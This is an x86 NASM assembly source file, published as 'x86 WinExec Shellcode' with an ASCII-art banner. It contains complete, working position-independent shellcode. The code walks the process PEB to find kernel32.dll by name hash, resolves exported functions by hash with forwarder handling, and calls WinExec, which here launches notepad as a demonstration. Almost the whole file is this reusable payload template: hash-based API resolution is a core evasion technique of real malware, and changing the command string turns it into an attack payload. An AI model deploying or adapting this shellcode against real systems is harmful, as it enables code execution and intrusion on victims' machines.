;;;;MMMMMMMMMMMMMMMMMMMMMWNXK0kxdooodddooloxO0KNWMMMMMMMMMMMMMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMWXOxl:;'... ...';;,,'.....;oxOKNWMMMMMMMMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMWXOdlc:;;;:cc::;,',lxxxxo:,....,,,:lkKWMMMMMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMN0dc:::loxkO0OOkxxdl:cdOOOOxoc;',lc'..';lkXWMMMMMMMMMMMMMM
;;;;MMMMMMMMMMNkc'...';ldkkO0Oxdoc:;,,;::::cclc,:xxc,',,'';dKWMMMMMMMMMMMM
;;;;MMMMMMMMW0l,...,coddooolc;,'.... .....  .,;,cdxdl:cc,'..,dXMMMMMMMMMMM
;;;;MMMMMMMNx;....cdxdddol:;;;::cccc::::;;'.''...':looddl;'...:kNMMMMMMMMM
;;;;MMMMMMNd'...'cddxdoc::codxOO000OOOOkkxdlll,....,coxxxo:'...'oXMMMMMMMM
;;;;MMMMMNd'.  .colll;,,:lddxkkdlc;;;;:::loodxo:,,'',cddxxdc,....lXMMMMMMM
;;;;MMMMNd.   'okxdl'.':looooc;'''''.......';ldddl::;,;oxxxd:'....lXMMMMMM
;;;;MMMMO,  .,d0Oko' .,lddl;'',:looollll:,....;oddxo:'.,oxxxo:'....oNMMMMM
;;;;MMMWd....;xOkx;  .,oOx;..;ccc:cc:;;:codc'..'lxkxc'..;oxxxl'....,kWMMMM
;;;;MMMNo....;xOkd'  .:xOl'':oc;:;;:::;'.'lx:.  'oxxl,..'cdddl;'....lXMMMM
;;;;MMMXc....:xxxo.  .:xkl',ll;;;,::;,;:,.,oo'. .:ddl,...,oodoc,....,OMMMM
;;;;MMMXc....,dkkd'  .,oOx;,:oc,,,;;'':c,.'lo'  .;ddo;...,odddl'....'xWMMM
;;;;MMMNo..  ,xOkd;  ..:kOo;,:lc;,,,;:;,..:dc.. .cxxd;...,odddc'.....oNMMM
;;;;MMMWk'  .,oxxdo' ..,lxkdc,,;:::::,'',cdd;...,dxkl'...cddxd:'.....oNMMM
;;;;MMMMXc....,lkkko'....,lxkxl;,''',;lodo:'...'lxxo,.  'odddo;......dWMMM
;;;;MMMMMKc....,oOOkd:.  ..,:looooooolc:,... .'lddl,.  .cooddc,.....,OWMMM
;;;;MMMMMWKc.  .,okkkxl;.. ...........     ..;cll:.   .:oddxo;......cKMMMM
;;;;MMMMMMMXl....'cdxdlodl;'..         ...;col:;'.   .:oodxo:......,kWMMMM
;;;;MMMMMMMMNx;....';;coxkxdol:;''',;:ccldxxxo:'....;loodxo:'......oNMMMMM
;;;;MMMMMMMMMWKd;......,cddddkkdl::ccllolc:,'.....,coodxxo:''.....cKMMMMMM
;;;;MMMMMMMMMMMWXxc,..  ..',;cloo:'',,,,'.......';:cclooc,'......:0WMMMMMM
;;;;MMMMMMMMMMMMMMN0d:.. .......,;,. ....  ...,;,,;:::;'........;OWMMMMMMM
;;;;MMMMMMMMMMMMMMMMWN0xl:,......';,'......,,'''',,,'..........cKWMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMWXK0Okxxkkdcc:::::::,'...........  ..:KMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xool::clll:;,''........':kWMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXOxoc:;;;::::;,,'',cdONMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xdl:;;,,,;:ok0NMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKK000KNWMMMMMMMMMMMMMMMM
;;;;----------------------------------------------------------------------;
;;;; x86 WinExec Shellcode                                                ;
;;;;----------------------------------------------------------------------;
;;;; Author: Forrest Orr - 2020                                           ;
;;;;----------------------------------------------------------------------;
;;;; Contact: forrest.orr@protonmail.com                                  ;
;;;;----------------------------------------------------------------------;
;;;; Licensed under GNU GPLv3                                             ;
;;;;______________________________________________________________________;
;;;; ## Features                                                          ;
;;;;                                                                      ;
;;;; ~ Dynamic module base resolution via name hash                       ;
;;;; ~ Dynamic export address resolution via name hash                    ;
;;;; ~ Export forwarding support                                          ;
;;;; ~ Stable and tested on any version of Windows 7, 8.1 or 10           ;
;;;;______________________________________________________________________;

;%Define DEBUG
%Ifdef DEBUG
Global _WinExec32
%Endif
%Include "..\Include\Windows.inc"
Bits           32

Section .text

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                           WinExec                                   ;;;  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_WinExec32:

Pushad
Mov            Ebp, Esp
Push           000D4E88h                                                       ; Kernel32.dll string hash. The hashing algorithm is case insensitive (forced uppercase)
Call           GetModuleBase32
Push           00006feah ; WinExec
Push           Eax
Call           ResolveExportAddress32
Push           'pad'
Push           'note'
Mov            Ecx, Esp
Push           5 ; SW_SHOW
Push           Ecx
Call           Eax
Mov            Esp, Ebp
Popad
Ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                          GetModuleBase32                            ;;;  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

ArgdwNameHash                Equ 08h

GetModuleBase32:                                                               ; First parameter = the string hash of the target module base name (not full path)

Push           Ebp
Mov            Ebp, Esp
Push           Edi                                                             ; Walk through the load order module list in the PEB by flink until either the initial module in the list (Ntdll.dll) is reached again, or a NULL entry is identified.
Push           Esi
Mov            Esi, TIB32.pPEB
FS             Lodsd
Mov            Eax, Dword [Eax + PEB32.pLDRData]
Mov            Edi, Dword [Eax + PEB_LDR_DATA32.pInLoadOrderModuleList]
Mov            Esi, Edi                                                        ; Esi will be my moving module entry pointer, while Edi will be a static reference to the initial load order module (should always be Ntdll.dll)
Xor            Eax, Eax                                                        ; If the list pointer is invalid, we still need to return 0.
Jmp            GetModuleBase32.CheckValidModuleEntry                           ; Since Esi and Edi will be equal when the loop begins, skip the Ntdll check on the first iteration.

.CheckNextModuleEntry:                                                         ; Esi = current module, Edi = Ntdll module. Eax will be the module base after loop exits, assuming it was ever found

Cmp            Edi, Esi
Je             GetModuleBase32.FinalModuleEntry

.CheckValidModuleEntry:

Test           Esi, Esi
Jz             GetModuleBase32.FinalModuleEntry
Lea            Ebx, Dword [Esi + LDR_MODULE32.usBaseDllName]
Test           Ebx, Ebx
Jz             GetModuleBase32.LoadNextModuleEntry
Mov            Ecx, Dword [Ebx + UNICODE_STRING32.Buffer]
Test           Ecx, Ecx
Jz             GetModuleBase32.LoadNextModuleEntry
Push           1                                                               ; Unicode string boolean
Push           Ecx
Call           GetStringHash32
Cmp            Eax, Dword [Ebp + ArgdwNameHash]
Je             GetModuleBase32.FoundTargetModule

.LoadNextModuleEntry:

Xor            Eax, Eax                                                        ; This will ensure we return 0 in the event the target module is not found.
Mov            Esi, Dword [Esi + LDR_MODULE32.LoadOrderFlink]
Jmp            GetModuleBase32.CheckNextModuleEntry

.FoundTargetModule:

Mov            Eax, Dword [Esi + LDR_MODULE32.pBase]

.FinalModuleEntry:

Pop            Esi
Pop			   Edi
Mov            Esp, Ebp
Pop            Ebp
Retn           04h

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                      ResolveExportAddress32                         ;;;  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Arg_pModuleBase32            Equ 08h
Arg_dwFunctionHash           Equ 0Ch
pImageExportTable            Equ -04h
pModuleBase32                Equ -08h
pImageOptionalHeader32       Equ -0Ch
pImageFileHeader32           Equ -10h
pdwAddressOfNames32          Equ -14h
pdwAddressOfFunctions32      Equ -18h
pwAddressOfNameOEdinals32    Equ -1Ch
dwNumberOfAttemptedHashes    Equ -20h
pForwardedModuleBase         Equ -24h
dwFunctionAddress            Equ -28h
pFunctionName32              Equ -2Ch
dwExportTableSize            Equ -30h
ForwardedFunctionName        Equ -130h ; 100h is 256, clean multiple of 4 for stack alignment.
ForwardedModuleName          Equ -230h
StackSize                    Equ 230h

ResolveExportAddress32:

Bits           32
Push           Ebp
Mov            Ebp, Esp
Sub            Esp, StackSize
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Mov            Dword [Ebp + pModuleBase32], Eax
Mov            Edx, Dword [Ebp + pModuleBase32]
Add            Eax, Dword [Edx + IMAGE_DOS_HEADER.e_lfanew]
Add            Eax, 4
Mov            Dword [Ebp + pImageFileHeader32], Eax
Add            Eax, IMAGE_FILE_HEADER_size
Mov            Dword [Ebp + pImageOptionalHeader32], Eax
Mov            Edx, Eax
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Add            Eax, Dword [Edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
Mov            Ecx, Dword [Edx + IMAGE_OPTIONAL_HEADER32.DataDirectory + 4] ; Size field in first data directory (export address table)
Mov            Dword [Ebp + dwExportTableSize], Ecx
Mov            Dword [Ebp + pImageExportTable], Eax
Mov            Edx, Eax
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Add            Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfNames]
Mov            Dword [Ebp + pdwAddressOfNames32], Eax
Mov            Edx, Dword [Ebp + pImageExportTable]
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Add            Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
Mov            Dword [Ebp + pwAddressOfNameOEdinals32], Eax
Mov            Edx, Dword [Ebp + pImageExportTable]
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Add            Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
Mov            Dword [Ebp + pdwAddressOfFunctions32], Eax
Xor            Eax, Eax
Mov            Dword [Ebp + dwNumberOfAttemptedHashes], Eax
Mov            Dword [Ebp + dwFunctionAddress], Eax ; Initialize to 0 for failed status

.GetFunctionName:

Mov            Eax, Dword [Ebp + pImageExportTable]
Mov            Eax, Dword [Eax + IMAGE_EXPORT_DIRECTORY.NumberOfNames]
Cmp            Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Jbe            ResolveExportAddress32.ReturnHash
Mov            Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Lea            Ecx, Dword [Eax * 4]
Mov            Edx, Dword [Ebp + pdwAddressOfNames32]
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Add            Eax, Dword [Ecx + Edx]
Mov            Dword [Ebp + pFunctionName32], Eax
Push           0                                                               ; Exports are always ANSI, never Unicode.
Push           Eax
Call           GetStringHash32
Cmp            Eax, Dword [Ebp + Arg_dwFunctionHash]
Jnz            ResolveExportAddress32.NextFunctionName
Mov            Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Lea            Edx, Dword [Eax + Eax]
Mov            Eax, Dword [Ebp + pwAddressOfNameOEdinals32]
Movzx          Eax, Word [Edx + Eax]
Lea            Ecx, Dword [Eax * 4]
Mov            Edx, Dword [Ebp + pdwAddressOfFunctions32]
Mov            Eax, Dword [Ebp + Arg_pModuleBase32]
Add            Eax, Dword [Ecx + Edx]
Mov            Dword [Ebp + dwFunctionAddress], Eax ; We've resolved the address of the target function. However this may be a forwarder string, not code. Check and see if the address is within the export table to determine this.
Mov            Ecx, Dword [Ebp + pImageExportTable]
Mov            Edx, Ecx
Add            Edx, Dword [Ebp + dwExportTableSize]
Cmp            Eax, Ecx
Jl             ResolveExportAddress32.ReturnHash ; Function address below the start of the EAT? If so it's a legit function.
Cmp            Eax, Edx
Jge            ResolveExportAddress32.ReturnHash ; Function address above the end of the EAT? If so it's a legit function in this context.
Mov            Dword [Ebp + dwFunctionAddress], 0 ; The function address falls within the EAT. We can assume that it is a forwarder. Extract the module/function name: <Module name (no extension)>.<Function name>
Xor            Ecx, Ecx ; Forwarder string counter
Lea            Ebx, Dword [Ebp + ForwardedModuleName] ; Initially the buffer register will point to the module name since this field comes first.

.ExtractForwarder:

Mov            Dl, Byte [Eax + Ecx]
Cmp            Dl, 0
Je             ResolveExportAddress32.ResolveForwarder
Cmp            Dl, '.'
Jne            ResolveExportAddress32.NextForwarderByte
Mov            Dword [Ebx], '.dll' ; The module name in a forwarder will not include a .dll extension. Add it so that we can generate a name hash which may match a module in the PEB loader list.
Add            Ebx, 4
Mov            Byte [Ebx], 0 ; Finalize module name string with null terminator
Lea            Ebx, Dword [Ebp + ForwardedFunctionName] ; Switch the buffer register and begin building the function string
Inc            Ecx ; Skip the '.' seperator
Jmp            ResolveExportAddress32.ExtractForwarder

.NextForwarderByte:

Mov            Byte [Ebx], Dl
Inc            Ecx
Inc            Ebx
Jmp            ResolveExportAddress32.ExtractForwarder

.ResolveForwarder:

Mov            Byte [Ebx], 0 ; Finalize the function name string with a null terminator.
;Lea            Edx, Dword [Ebp + ForwardedFunctionName]
Lea            Ebx, Dword [Ebp + ForwardedModuleName] ; Initially the buffer register will point to the module name since this field comes first.
Push           0
Push           Ebx
Call           GetStringHash32
Push           Eax
Call           GetModuleBase32
Test           Eax, Eax
Jz             ResolveExportAddress32.ReturnHash ; Failed to find the forwarded module in the PEB loader list. This could be because it is an API set (and these will never be in the list) or a module which simply has not been loaded yet.
Mov            Dword [Ebp + pForwardedModuleBase], Eax
Push           0
Lea            Edx, Dword [Ebp + ForwardedFunctionName]
Push           Edx
Call           GetStringHash32
Push           Eax
Push           Dword [Ebp + pForwardedModuleBase]
Call           ResolveExportAddress32
Mov            Dword [Ebp + dwFunctionAddress], Eax
Jmp            ResolveExportAddress32.ReturnHash

.NextFunctionName:

Lea            Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Inc            Dword [Eax]
Jmp            ResolveExportAddress32.GetFunctionName

.ReturnHash:

Mov            Eax, Dword [Ebp + dwFunctionAddress]
Mov            Esp, Ebp
Pop            Ebp
Retn           08h

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                          GetStringHash32                            ;;;  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Arg_pTargetStr               Equ 08h
Arg_bUnicode                 Equ 0Ch

GetStringHash32:                                                               ; First parameter = pointer to string, second parameter = boolean yes unicode or no unicode

Push           Ebp
Mov            Ebp, Esp
Push           Edi
Mov            Ecx, Dword [Ebp + Arg_pTargetStr]
Mov            Edi, Dword [Ebp + Arg_bUnicode]
Xor            Ebx, Ebx

.HashNextByte:

Cmp            Byte [Ecx], 0
Je             GetStringHash32.HashGenerated
Movzx          Eax, Byte [Ecx]
Or             Al, 60h
Movzx          Edx, Al
Add            Ebx, Edx
Shl            Ebx, 1
Inc            Ecx
Test           Edi, Edi
Jz             GetStringHash32.HashNextByte
Inc            Ecx                                                             ; Skip an extra byte if this is a unicode string
Jmp            GetStringHash32.HashNextByte

.HashGenerated:

Mov            Eax, Ebx
Pop            Edi
Mov            Esp, Ebp
Pop            Ebp
Retn           08h

End:
